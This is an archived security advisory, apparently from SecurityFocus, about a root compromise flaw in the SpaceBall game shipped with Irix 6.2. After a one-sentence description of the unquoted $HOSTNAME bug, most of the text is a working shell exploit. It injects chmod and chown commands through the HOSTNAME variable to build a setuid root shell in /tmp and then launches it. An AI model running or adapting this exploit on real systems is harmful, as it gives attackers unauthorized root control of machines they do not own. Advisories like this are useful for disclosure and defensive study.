source: http://www.securityfocus.com/bid/471/info The SpaceBall game, shipped with Irix 6.2 from Silicon Graphics contains a security hole which could result in the compromise of the root account. By blindly taking the contents of the $HOSTNAME variable, and not placing quotes around it, the spaceball.sh program can be made to execute commands. #!/bin/sh SWDIR=/usr/local/SpaceWare cp /bin/sh /tmp/sh echo 6 | HOSTNAME="/bin/chmod 4755 /tmp/sh" $SWDIR/spaceball > /dev/null 2>&1 echo 6 | HOSTNAME="/bin/chown root /tmp/sh" $SWDIR/spaceball > /dev/null 2>&1 /tmp/sh